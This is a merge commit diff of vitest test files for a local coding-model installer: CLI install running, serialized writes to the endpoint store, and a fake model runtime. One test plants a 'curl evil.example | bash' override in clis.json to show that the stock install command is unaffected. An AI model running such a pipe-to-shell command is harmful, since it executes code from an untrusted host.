Merge feat/local-model-recommendation: recommend and install a local coding model on this Mac (experimental)

Conflicts resolved as on test/desktop-macbook: config/test-suites.ts keeps both browser tests (desktop-connect-page and local-model-ui), and the CLAUDE.md state-files line keeps #778's cli-installed entry with the local model's local-model.json and local-model/ entries.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
Codeman maintainer committed 2026-11-08 04:06:46 +01:00
commit e8a63ede00
80 files changed
+31268 -261

No files matched your search

+298
View File
@@ -0,0 +1,298 @@
/**
* @fileoverview The shared runner of a stock CLI's install command (src/cli-install-runner.ts):
* what is new in it since it left the registry route, and what both of its callers rely on.
*
* The route's own behaviour (answers, audit entry, environment, timeout) stays pinned by
* test/routes/cli-registry-routes.test.ts, which runs unchanged against the moved code. Here:
* - `stockInstallCommand()` reads the COMPILED stock entry, so a `clis.json` override cannot
* change what the local model install job runs;
* - the one install slot per CLI is shared: while the job holds it, the route answers 409;
* - an abort signal kills the installer's process group, and one that is already aborted
* starts nothing;
* - `forgetResolvedCli()` drops both caches.
*
* Nothing is really spawned: `spawn` is a fake child.
*
* Port: N/A (app.inject(), no live server).
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { EventEmitter } from 'node:events';
import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
import { dirname } from 'node:path';
import { createRouteTestHarness } from './routes/_route-test-utils.js';
import {
CLI_INSTALL_TIMEOUT_MS,
forgetResolvedCli,
runInstallCommand,
stockInstallCommand,
tryBeginCliInstall,
} from '../src/cli-install-runner.js';
import { registerCliRegistryRoutes } from '../src/web/routes/cli-registry-routes.js';
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
import {
getCli,
registryFilePath,
reloadCliRegistry,
resolveInstallCommandForPlatform,
} from '../src/config/cli-registry/registry.js';
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
const { spawnMock, invalidateBinariesSpy, invalidateIdSpy } = vi.hoisted(() => ({
spawnMock: vi.fn(),
invalidateBinariesSpy: vi.fn(),
invalidateIdSpy: vi.fn(),
}));
vi.mock('node:child_process', async (importOriginal) => {
const actual = await importOriginal<typeof import('node:child_process')>();
return { ...actual, spawn: spawnMock };
});
vi.mock('../src/utils/cli-executable-resolver.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('../src/utils/cli-executable-resolver.js')>();
return {
...actual,
invalidateCliExecutableResolvers: (binaries: readonly string[]) => {
invalidateBinariesSpy([...binaries]);
actual.invalidateCliExecutableResolvers(binaries);
},
};
});
vi.mock('../src/utils/cli-resolver.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('../src/utils/cli-resolver.js')>();
return {
...actual,
invalidateCliResolverCache: (id?: string) => {
invalidateIdSpy(id);
actual.invalidateCliResolverCache(id);
},
};
});
interface FakeChild extends EventEmitter {
pid: number;
stdout: EventEmitter;
stderr: EventEmitter;
}
/** A spawned installer that stays alive until the test ends it. */
function hangingChild(pid = 4_242_424): FakeChild {
const child = new EventEmitter() as FakeChild;
child.pid = pid;
child.stdout = new EventEmitter();
child.stderr = new EventEmitter();
return child;
}
beforeEach(() => {
spawnMock.mockReset();
invalidateBinariesSpy.mockClear();
invalidateIdSpy.mockClear();
});
afterEach(() => {
vi.useRealTimers();
vi.restoreAllMocks();
});
describe('stockInstallCommand', () => {
afterEach(() => {
rmSync(registryFilePath(), { force: true });
reloadCliRegistry();
});
it('is the compiled stock command of every stock CLI that has one for this platform', () => {
for (const entry of STOCK_CLIS) {
const expected = resolveInstallCommandForPlatform(entry);
expect(stockInstallCommand(entry.id as string)).toBe(expected && expected.trim() !== '' ? expected : undefined);
}
expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
});
it('is undefined for an id that is not a stock CLI', () => {
expect(stockInstallCommand('not-a-cli')).toBeUndefined();
expect(stockInstallCommand('')).toBeUndefined();
expect(stockInstallCommand('__proto__')).toBeUndefined();
});
it('ignores a clis.json override: the registry shows the override, the stock command stays', () => {
mkdirSync(dirname(registryFilePath()), { recursive: true });
writeFileSync(
registryFilePath(),
JSON.stringify({
schemaVersion: 1,
clis: {
opencode: {
discovery: {
install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } },
},
},
},
}),
{ mode: 0o600 }
);
reloadCliRegistry();
// The override is in force for the registry (what the Settings list shows and the route runs)...
expect(resolveInstallCommandForPlatform(getCli('opencode')!)).toBe('curl evil.example | bash');
// ...and is not what the local model install job would run.
expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
});
});
describe('tryBeginCliInstall', () => {
it('gives one slot per CLI id, and the slot comes back when it is released', () => {
const release = tryBeginCliInstall('slot-a');
expect(release).toBeTypeOf('function');
expect(tryBeginCliInstall('slot-a')).toBeNull();
// Another CLI has its own slot.
const other = tryBeginCliInstall('slot-b');
expect(other).toBeTypeOf('function');
release!();
const again = tryBeginCliInstall('slot-a');
expect(again).toBeTypeOf('function');
again!();
other!();
});
it('a release called twice frees the slot once: a later holder is not thrown out', () => {
const first = tryBeginCliInstall('slot-c')!;
first();
const second = tryBeginCliInstall('slot-c')!;
first();
expect(tryBeginCliInstall('slot-c')).toBeNull();
second();
});
it('is the slot the registry route uses: while it is held, POST /api/clis/:id/install answers 409 and spawns nothing', async () => {
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, JSON.stringify({ cliManagementEnabled: true }));
const { app } = await createRouteTestHarness(registerCliRegistryRoutes);
const release = tryBeginCliInstall('grok')!;
try {
const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' });
expect(spawnMock).not.toHaveBeenCalled();
} finally {
release();
}
// Released: the route installs again.
spawnMock.mockImplementation(() => {
const child = hangingChild();
setImmediate(() => child.emit('close', 0));
return child;
});
const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
expect(res.json()).toMatchObject({ success: true, data: { id: 'grok', code: 0 } });
// And the route gave the slot back when its install ended.
const after = tryBeginCliInstall('grok');
expect(after).toBeTypeOf('function');
after!();
});
});
describe('runInstallCommand', () => {
it('runs the command in a shell of its own process group and reports how it ended', async () => {
spawnMock.mockImplementation(() => {
const child = hangingChild();
setImmediate(() => {
child.stdout.emit('data', Buffer.from('installed\n'));
child.emit('close', 0);
});
return child;
});
const result = await runInstallCommand('echo hello');
expect(result).toEqual({ code: 0, output: 'installed\n', timedOut: false, aborted: false });
expect(spawnMock).toHaveBeenCalledTimes(1);
expect(spawnMock.mock.calls[0][0]).toBe('echo hello');
expect(spawnMock.mock.calls[0][1]).toMatchObject({ shell: true, detached: true });
});
it('a spawn that throws is a result, not an exception', async () => {
spawnMock.mockImplementation(() => {
throw new Error('ENOENT sh');
});
expect(await runInstallCommand('echo hello')).toEqual({
code: null,
output: 'spawn failed: ENOENT sh',
timedOut: false,
aborted: false,
});
});
it('a signal that is already aborted starts nothing', async () => {
const controller = new AbortController();
controller.abort();
expect(await runInstallCommand('echo hello', { signal: controller.signal })).toEqual({
code: null,
output: '',
timedOut: false,
aborted: true,
});
expect(spawnMock).not.toHaveBeenCalled();
});
it('an abort kills the whole process group: SIGTERM at once, SIGKILL three seconds later', async () => {
vi.useFakeTimers();
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
const child = hangingChild(777_777);
spawnMock.mockImplementation(() => child);
const controller = new AbortController();
const pending = runInstallCommand('echo hello', { signal: controller.signal });
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
controller.abort();
// The negative pid is the group: the installer's own children go with it.
expect(kill).toHaveBeenCalledWith(-777_777, 'SIGTERM');
expect(kill).not.toHaveBeenCalledWith(-777_777, 'SIGKILL');
await vi.advanceTimersByTimeAsync(3_000);
expect(kill).toHaveBeenCalledWith(-777_777, 'SIGKILL');
child.emit('close', null);
expect(await pending).toEqual({ code: null, output: '', timedOut: false, aborted: true });
});
it('an aborted installer that never closes is given up on after eight seconds', async () => {
vi.useFakeTimers();
vi.spyOn(process, 'kill').mockImplementation(() => true);
spawnMock.mockImplementation(() => hangingChild());
const controller = new AbortController();
const pending = runInstallCommand('echo hello', { signal: controller.signal });
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
controller.abort();
await vi.advanceTimersByTimeAsync(8_000);
expect(await pending).toMatchObject({ code: null, aborted: true, timedOut: false });
});
it('the timeout still kills the group and says so, as it did in the route', async () => {
vi.useFakeTimers();
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
const child = hangingChild(888_888);
spawnMock.mockImplementation(() => child);
const pending = runInstallCommand('echo hello');
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
await vi.advanceTimersByTimeAsync(CLI_INSTALL_TIMEOUT_MS);
expect(kill).toHaveBeenCalledWith(-888_888, 'SIGTERM');
child.emit('close', null);
expect(await pending).toEqual({ code: null, output: '', timedOut: true, aborted: false });
});
it('an abort after the installer ended does nothing', async () => {
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
spawnMock.mockImplementation(() => {
const child = hangingChild();
setImmediate(() => child.emit('close', 0));
return child;
});
const controller = new AbortController();
const result = await runInstallCommand('echo hello', { signal: controller.signal });
controller.abort();
expect(result.aborted).toBe(false);
expect(kill).not.toHaveBeenCalled();
});
});
describe('forgetResolvedCli', () => {
it('drops the per-binary caches and the per-id resolver', () => {
forgetResolvedCli('opencode', ['opencode', 'opencode-bin']);
expect(invalidateBinariesSpy).toHaveBeenCalledWith(['opencode', 'opencode-bin']);
expect(invalidateIdSpy).toHaveBeenCalledWith('opencode');
});
});
+7 -4
View File
@@ -167,7 +167,6 @@ const ALLOWED_BRANCHES: Record<string, Allowance> = {
),
"tui/tui-render.ts::mode !== 'claude'": allow(1, 'cosmetic: suppress the mode badge for the default mode'),
// Legacy <Mode>Config plumbing, same category as the `===` entries above.
"web/routes/session-routes.ts::mode !== 'omp'": allow(
2,
@@ -212,8 +211,10 @@ const ID_ALT = IDS.join('|');
*/
const BRANCH_PATTERN = new RegExp(
[
// mode === 'codex' / mode !== 'codex'
`\\b(?:mode|id|agentType)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
// mode === 'codex' / mode !== 'codex'. `cli` is the name the local model catalogue gives
// the same thing (`LocalHarnessEntry.cli`, `Candidate.cli`), so `harness.cli === 'claude'`
// is the same banned branch under another field name.
`\\b(?:mode|id|agentType|cli)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
// case 'codex':
`\\bcase\\s+'(?:${ID_ALT})'\\s*:`,
// ['codex', 'gemini'].includes(mode) — the id list IS the branch, wherever `mode` sits
@@ -267,7 +268,7 @@ function scan(): { findings: Finding[]; filesScanned: number } {
lines.forEach((line, i) => {
BRANCH_PATTERN.lastIndex = 0; // shared /g regex — see utils/regex-patterns.ts
for (const match of line.matchAll(BRANCH_PATTERN)) {
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType)/, 'mode');
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType|cli)/, 'mode');
const posix = rel.split(sep).join('/');
findings.push({ file: posix, expression, line: i + 1, key: `${posix}::${expression}` });
}
@@ -337,6 +338,8 @@ describe('no CLI-id branching outside the stock catalog', () => {
"if (mode !== 'shell' && mode !== 'deepseek') { doSomething(); }",
"switch (mode) { case 'gemini': return 1; }",
"if (['codex', 'gemini'].includes(mode)) { doSomething(); }",
"if (harness.cli === 'claude') { doSomething(); }",
"const others = candidates.filter((c) => c.cli !== 'opencode');",
];
for (const sample of samples) {
BRANCH_PATTERN.lastIndex = 0;
+107 -2
View File
@@ -13,7 +13,9 @@
* directly plus the mocked webviewFetch dispatcher).
*/
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { getDataDir } from '../src/config/instance.js';
import { readFileSync, rmSync, writeFileSync } from 'node:fs';
import { dataPath, getDataDir } from '../src/config/instance.js';
import { customModelHostsPath } from '../src/custom-model-hosts.js';
import { readCustomModelHosts, writeCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
import { clearPropsProbeCache, refreshAllCustomModelHosts } from '../src/web/routes/custom-model-routes.js';
import { webviewFetch } from '../src/web/webview-egress.js';
@@ -498,7 +500,9 @@ describe('refreshAllCustomModelHosts: parallel-slot enrichment (llama.cpp splits
if (url.pathname === '/running') {
return new Response(
JSON.stringify({
running: [{ model: 'm', state: 'ready', cmd: 'llama-server -m /models/m.gguf --ctx-size 262144 --parallel 4' }],
running: [
{ model: 'm', state: 'ready', cmd: 'llama-server -m /models/m.gguf --ctx-size 262144 --parallel 4' },
],
}),
{ status: 200 }
);
@@ -602,3 +606,104 @@ describe('refreshAllCustomModelHosts: model-size enrichment (parsed from /v1/mod
expect(updated.modelSizesGB).toEqual({ a: 8 }); // 'a' kept from before, 'b' dropped (gone from the list)
});
});
describe('the sweep and the serialized writer', () => {
it('an endpoint created while the sweep was probing another one is kept', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [host({ id: 'probed', baseUrl: 'http://localhost:8080' })]);
fetchMock.mockImplementation(async () => {
// An admin saves a second endpoint between the sweep's read and its write. The sweep
// must splice its result onto the list as it is then, not write back the one it read.
const current = await readCustomModelHosts(dir);
if (!current.some((h) => h.id === 'added')) {
await writeCustomModelHosts(dir, [...current, host({ id: 'added', baseUrl: 'http://localhost:8082' })]);
}
return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 });
});
await refreshAllCustomModelHosts();
const hosts = await readCustomModelHosts(dir);
expect(hosts.map((h) => h.id)).toEqual(['probed', 'added']);
expect(hosts[0].models).toEqual(['qwen3']);
});
it('never writes over a store that stopped parsing while the sweep ran', async () => {
const dir = getDataDir();
vi.spyOn(console, 'warn').mockImplementation(() => {});
await writeCustomModelHosts(dir, [
host({ id: 'a', baseUrl: 'http://localhost:8080', apiKey: 'sk-keep' }),
host({ id: 'b', baseUrl: 'http://localhost:8081' }),
]);
const broken = '[{"id":"a","apiKey":"sk-keep"},';
fetchMock.mockImplementation(async () => {
writeFileSync(customModelHostsPath(dir), broken);
return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 });
});
await expect(refreshAllCustomModelHosts()).resolves.toBeUndefined();
// It used to read the broken file as an empty list and carry on; it is left as it is.
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(broken);
// And the sweep stopped there: the second endpoint was not probed for nothing.
expect(fetchMock.mock.calls.every(([url]) => !(url as URL).href.includes('8081'))).toBe(true);
vi.restoreAllMocks();
});
});
describe('the sweep leaves the local model record alone', () => {
const STATE = () => dataPath('local-model.json');
const MANAGED: CustomModelHost = {
id: 'local-ollama',
label: 'This Mac',
baseUrl: 'http://127.0.0.1:11435',
authStyle: 'bearer',
models: ['qwen3.6:35b-a3b'],
defaultModelId: 'qwen3.6:35b-a3b',
defaultContextLength: 131072,
};
beforeEach(() => {
rmSync(STATE(), { force: true });
});
it('while it is managed: it is not probed, and a model somebody pulled through the port does not become launchable', async () => {
const dir = getDataDir();
writeFileSync(
STATE(),
JSON.stringify({
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
})
);
await writeCustomModelHosts(dir, [MANAGED, host({ id: 'other', baseUrl: 'http://localhost:8080' })]);
fetchMock.mockImplementation(
async () =>
new Response(JSON.stringify({ data: [{ id: 'qwen3.6:35b-a3b' }, { id: 'sneaked-in:7b' }] }), { status: 200 })
);
await refreshAllCustomModelHosts();
const hosts = await readCustomModelHosts(dir);
// Our record is exactly what the install wrote: no new model, no discovery stamp.
expect(hosts.find((h) => h.id === 'local-ollama')).toEqual(MANAGED);
// Every other endpoint is refreshed as before.
expect(hosts.find((h) => h.id === 'other')?.models).toEqual(['qwen3.6:35b-a3b', 'sneaked-in:7b']);
for (const [url] of fetchMock.mock.calls) expect((url as URL).href).not.toContain('11435');
rmSync(STATE(), { force: true });
});
it('a record with that id that nobody installed is refreshed like any other', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [{ ...MANAGED, models: [], defaultModelId: undefined }]);
fetchMock.mockImplementation(
async () => new Response(JSON.stringify({ data: [{ id: 'mine:1b' }] }), { status: 200 })
);
await refreshAllCustomModelHosts();
expect((await readCustomModelHosts(dir))[0].models).toEqual(['mine:1b']);
});
});
+239
View File
@@ -0,0 +1,239 @@
/**
* @fileoverview The serialized writer of `custom-model-hosts.json`
* (src/custom-model-hosts-writer.ts) and the rule that every writer in src/ goes through it.
*
* What is pinned:
* - two mutations started at the same moment both land (the fault the writer ends: the
* endpoint routes and the discovery sweep used to read, change and write on their own);
* - the check a caller makes runs in the same step as its write;
* - a file that does not parse is refused and left byte for byte, and the refusal never
* repeats the file's text (it can hold an API key);
* - the file is written 0600 through a temp file that is gone afterwards;
* - no module of src/ calls `writeCustomModelHosts()` any more.
*
* Port: N/A (no server; files in a temp folder).
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { mkdtempSync, readdirSync, readFileSync, rmSync, statSync, symlinkSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { fileURLToPath } from 'node:url';
import {
CustomModelHostsWriteRefusedError,
customModelHostsWriteErrorResponse,
mutateCustomModelHosts,
} from '../src/custom-model-hosts-writer.js';
import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
const host = (id: string, extra: Partial<CustomModelHost> = {}): CustomModelHost => ({
id,
label: id,
baseUrl: `http://${id}.example:8080`,
...extra,
});
let dir: string;
beforeEach(() => {
dir = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-'));
});
afterEach(() => {
rmSync(dir, { recursive: true, force: true });
vi.restoreAllMocks();
});
describe('mutateCustomModelHosts', () => {
it('starts from an empty list when the file is missing, and writes what the mutation returns', async () => {
const result = await mutateCustomModelHosts((hosts) => {
expect(hosts).toEqual([]);
return { hosts: [host('a')], result: 'added' };
}, dir);
expect(result).toBe('added');
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
});
it('an empty file is an empty list too: it holds no endpoint to lose', async () => {
writeFileSync(customModelHostsPath(dir), ' \n');
await mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('a')], result: undefined }), dir);
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
});
it('writes nothing when the mutation returns no list', async () => {
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')]));
const before = statSync(customModelHostsPath(dir)).mtimeMs;
const result = await mutateCustomModelHosts((hosts) => ({ result: hosts.length }), dir);
expect(result).toBe(1);
expect(statSync(customModelHostsPath(dir)).mtimeMs).toBe(before);
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(JSON.stringify([host('a')]));
});
it('two mutations started together both land: the second sees what the first wrote', async () => {
const seen: string[][] = [];
const add = (id: string) =>
mutateCustomModelHosts((hosts) => {
seen.push(hosts.map((item) => item.id));
return { hosts: [...hosts, host(id)], result: id };
}, dir);
const results = await Promise.all([add('first'), add('second')]);
expect(results).toEqual(['first', 'second']);
expect(seen).toEqual([[], ['first']]);
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['first', 'second']);
});
it('twenty mutations at once keep every record (unserialized writers lost all but the last)', async () => {
const ids = Array.from({ length: 20 }, (_, i) => `ep${i}`);
await Promise.all(
ids.map((id) => mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host(id)], result: undefined }), dir))
);
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(ids);
// Every temp file was renamed over the target: only the one file is left.
expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']);
});
it('a check made inside the mutation is made on the list as it is then: two creates of one id, one wins', async () => {
const create = (label: string) =>
mutateCustomModelHosts<'created' | 'exists'>((hosts) => {
if (hosts.some((item) => item.id === 'same')) return { result: 'exists' };
return { hosts: [...hosts, host('same', { label })], result: 'created' };
}, dir);
expect(await Promise.all([create('one'), create('two')])).toEqual(['created', 'exists']);
expect(await readCustomModelHosts(dir)).toEqual([host('same', { label: 'one' })]);
});
it('hands the mutation a list it may change in place', async () => {
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a'), host('b')]));
await mutateCustomModelHosts((hosts) => {
hosts[1] = { ...hosts[1], label: 'changed' };
return { hosts, result: undefined };
}, dir);
expect((await readCustomModelHosts(dir)).map((item) => item.label)).toEqual(['a', 'changed']);
});
it('writes the file 0600 (it holds API keys), also over a file that was world-readable', async () => {
writeFileSync(customModelHostsPath(dir), '[]', { mode: 0o644 });
await mutateCustomModelHosts(() => ({ hosts: [host('a', { apiKey: 'sk-secret' })], result: undefined }), dir);
expect(statSync(customModelHostsPath(dir)).mode & 0o777).toBe(0o600);
});
it('writes through a symlink: the real file changes and the link stays a link', async () => {
const real = join(dir, 'real-hosts.json');
writeFileSync(real, '[]');
symlinkSync(real, customModelHostsPath(dir));
await mutateCustomModelHosts(() => ({ hosts: [host('a')], result: undefined }), dir);
expect(JSON.parse(readFileSync(real, 'utf8'))).toEqual([host('a')]);
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
});
describe('a file that must not be overwritten', () => {
const broken = '[{"id":"keep","apiKey":"sk-do-not-leak"},';
it.each([
['text that does not parse', broken],
['a JSON object instead of a list', '{"id":"keep","apiKey":"sk-do-not-leak"}'],
['a JSON string', '"sk-do-not-leak"'],
])('refuses %s, leaves it byte for byte and never calls the mutation', async (_label, content) => {
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(customModelHostsPath(dir), content);
const fn = vi.fn(() => ({ hosts: [host('new')], result: undefined }));
await expect(mutateCustomModelHosts(fn, dir)).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError);
expect(fn).not.toHaveBeenCalled();
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(content);
expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']);
// Neither the error nor the log repeats the file, which holds a key.
const error = await mutateCustomModelHosts(fn, dir).catch((err: Error) => err);
expect((error as Error).message).not.toContain('sk-do-not-leak');
expect((error as Error).message).toContain('custom-model-hosts.json');
expect(warn.mock.calls.flat().join(' ')).not.toContain('sk-do-not-leak');
});
it('the plain reader calls such a file an empty list, which is why a writer must not start from it', async () => {
writeFileSync(customModelHostsPath(dir), broken);
expect(await readCustomModelHosts(dir)).toEqual([]);
});
it('a refused mutation does not stop the ones after it', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(customModelHostsPath(dir), broken);
const refused = mutateCustomModelHosts(() => ({ hosts: [], result: undefined }), dir);
const other = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-other-'));
try {
const next = mutateCustomModelHosts(() => ({ hosts: [host('a')], result: 'ok' }), other);
await expect(refused).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError);
expect(await next).toBe('ok');
expect(await readCustomModelHosts(other)).toEqual([host('a')]);
} finally {
rmSync(other, { recursive: true, force: true });
}
});
});
it('a mutation that throws rejects its own caller, writes nothing, and the chain goes on', async () => {
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')]));
const thrown = mutateCustomModelHosts(() => {
throw new Error('boom');
}, dir);
const next = mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('b')], result: undefined }), dir);
await expect(thrown).rejects.toThrow('boom');
await next;
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['a', 'b']);
});
});
describe('customModelHostsWriteErrorResponse', () => {
it('a refused write is 409 CONFLICT with the fix', () => {
const response = customModelHostsWriteErrorResponse(
new CustomModelHostsWriteRefusedError('the file is not a valid JSON list')
);
expect(response).toEqual({
success: false,
error: 'the file is not a valid JSON list',
errorCode: 'CONFLICT',
});
});
it('any other failure stays OPERATION_FAILED', () => {
expect(customModelHostsWriteErrorResponse(new Error('EACCES'))).toMatchObject({
success: false,
errorCode: 'OPERATION_FAILED',
error: 'EACCES',
});
});
});
describe('every writer goes through the serialized writer', () => {
const root = fileURLToPath(new URL('../', import.meta.url));
function sourceFiles(folder: string, out: string[] = []): string[] {
for (const name of readdirSync(folder)) {
const path = join(folder, name);
if (statSync(path).isDirectory()) {
if (name !== 'public' && name !== 'node_modules') sourceFiles(path, out);
} else if (name.endsWith('.ts')) {
out.push(path);
}
}
return out;
}
/** The file without its comment lines: a comment may name the function it explains. */
const code = (path: string): string =>
readFileSync(path, 'utf8')
.split('\n')
.filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line))
.join('\n');
it('no module of src/ calls writeCustomModelHosts(): the store itself only defines it', () => {
const callers = sourceFiles(join(root, 'src'))
.filter((path) => /\bwriteCustomModelHosts\s*\(/.test(code(path)))
.map((path) => path.slice(root.length));
expect(callers).toEqual(['src/custom-model-hosts.ts']);
});
it('the endpoint routes and the sweep name the writer, five times', () => {
const routes = code(join(root, 'src/web/routes/custom-model-routes.ts'));
// create, update, delete, discover-models and the re-discovery sweep.
expect(routes.match(/await mutateCustomModelHosts</g)).toHaveLength(5);
expect(routes).not.toContain('writeCustomModelHosts');
});
});
+810
View File
@@ -0,0 +1,810 @@
/**
* @fileoverview A fake model runtime for the local model tests: an in-process HTTP server on
* a port the system picks, plus a fake child process that "is" the runtime, so a test starts
* no real runtime, downloads no real model and binds no fixed port.
*
* Plain `node:http`, like test/fixtures/mock-openai-server.ts. Every request is captured
* (`requests`: method, path, headers, parsed JSON body). Every answer has the shape the real
* runtime (0.40.15) gave on 2026-11-06; where a shape was not captured, the comment at its
* handler says so.
*
* What it answers:
*
* | Route | Answer |
* |-----------------------------------|---------------------------------------------------------------------|
* | `GET /` | `Ollama is running` |
* | `GET /api/version` | `{"version":"0.40.15"}` |
* | `GET /api/tags` | the model once it is installed (digest, format, runner) |
* | `GET /api/ps` | the model once a chat loaded it (`size`, `size_vram`, `context_length`) |
* | `POST /api/pull` | NDJSON progress, see `FakePullSwitches` |
* | `DELETE /api/delete` | 200, or 404 for a model that is not installed |
* | `GET /v1/models` | the model's id, or `data: null` when none is installed (as the real one) |
* | `POST /v1/chat/completions` | a plain answer, or a tool call when the request carries `tools` |
* | `GET /download/ollama-darwin.tgz` | a small real `.tgz` with Range support, see `FakeArchiveSwitches` |
*
* The switches (`fake.switches`, changeable between requests):
* - `pull.fail`: `error-line` (the real `{"error":"max retries exceeded: ..."}` line),
* `cut` (the socket is destroyed mid-stream) or `not-found`; `pull.failTimes` says how many
* pulls fail before one succeeds; `pull.resumeFrom` and the fake's own memory of how far the
* last pull got make the next pull's first line start there, as a resumed pull does.
* - `pull.shape`: `mlx` (one line shape, what a Mac really gets) or `gguf` (one layer after
* the other).
* - `ps`: `sizeVram` below `size` (not all on the GPU), another `contextLength`, or
* `loaded: false`.
* - `chat`: `error` makes the chat that loads the model fail.
* - `tool`: `call` (default), `none` (an answer without a tool call), `length` (the token
* limit ended the answer), `bad-arguments` (a tool call whose arguments are not JSON).
* - `archive`: cut the download after N bytes for the first M requests, ignore `Range`, or
* answer another status.
* - `spawn`: the fake child never listens, or exits at once.
*
* The fake child (`fake.spawn`, the shape of `RuntimeSupervisorDeps.spawn`): "starting" it
* makes the fake listen on the port of `OLLAMA_HOST` from the environment it is given and
* writes the runtime's start-up log to its stderr, including the line "inference compute"
* with the device total. Killing it closes the listener and emits `exit`. So a supervisor
* test reserves a port (`freeLoopbackPort()`), builds the fake with `createFakeOllama()`
* (not listening yet) and injects `fake.spawn`.
*
* Port: none fixed. `startFakeOllama()` listens on 0 and reports `port`.
*/
import { createHash } from 'node:crypto';
import { EventEmitter } from 'node:events';
import { createServer, type IncomingMessage, type Server, type ServerResponse } from 'node:http';
import { createServer as createNetServer, type AddressInfo, type Socket } from 'node:net';
import { PassThrough } from 'node:stream';
import { gzipSync } from 'node:zlib';
import type { ChildProcess, SpawnOptions } from 'node:child_process';
import type { LocalModelRuntimePin } from '../../src/types.js';
// ---------- Real log lines ----------
/**
* The runtime's line with the device total, VERBATIM from the 16 GB Mac mini (Apple M4),
* 2026-11-06. `parseInferenceComputeTotal()` must read 11.8 GiB from it.
*/
export const REAL_INFERENCE_COMPUTE_LINE_MAC_MINI =
'time=2026-11-06T13:21:49.885+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M4" libdirs="" driver=0.0 pci_id="" type=iGPU total="11.8 GiB" available="11.8 GiB"';
/**
* The same line for the 48 GB MacBook (Apple M5 Pro), RECONSTRUCTED: the measurement notes of
* 2026-11-06 quote only `total="37.4 GiB" available="37.4 GiB"` from it, so the rest is the
* Mac mini's line with the chip name and a time filled in (hence no `REAL_` in the name).
* `parseInferenceComputeTotal()` must read 40,157,944,217 bytes from it.
*/
export const INFERENCE_COMPUTE_LINE_MACBOOK =
'time=2026-11-06T15:04:12.371+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M5 Pro" libdirs="" driver=0.0 pci_id="" type=iGPU total="37.4 GiB" available="37.4 GiB"';
/** 37.4 GiB in bytes, rounded down: what the MacBook line stands for. */
export const MACBOOK_MEASURED_TOTAL_BYTES = 40_157_944_217;
/**
* The line that FOLLOWS it and also carries the total, under another key. Verbatim from the
* Mac mini. A parser of the budget must not need it and must not be confused by it.
*/
export const REAL_VRAM_DEFAULT_CONTEXT_LINE_MAC_MINI =
'time=2026-11-06T13:21:49.885+01:00 level=INFO source=routes.go:2586 msg="vram-based default context" total_vram="11.8 GiB" default_num_ctx=4096';
/**
* What the runtime writes when it starts, in order, with `total` as the device total (the
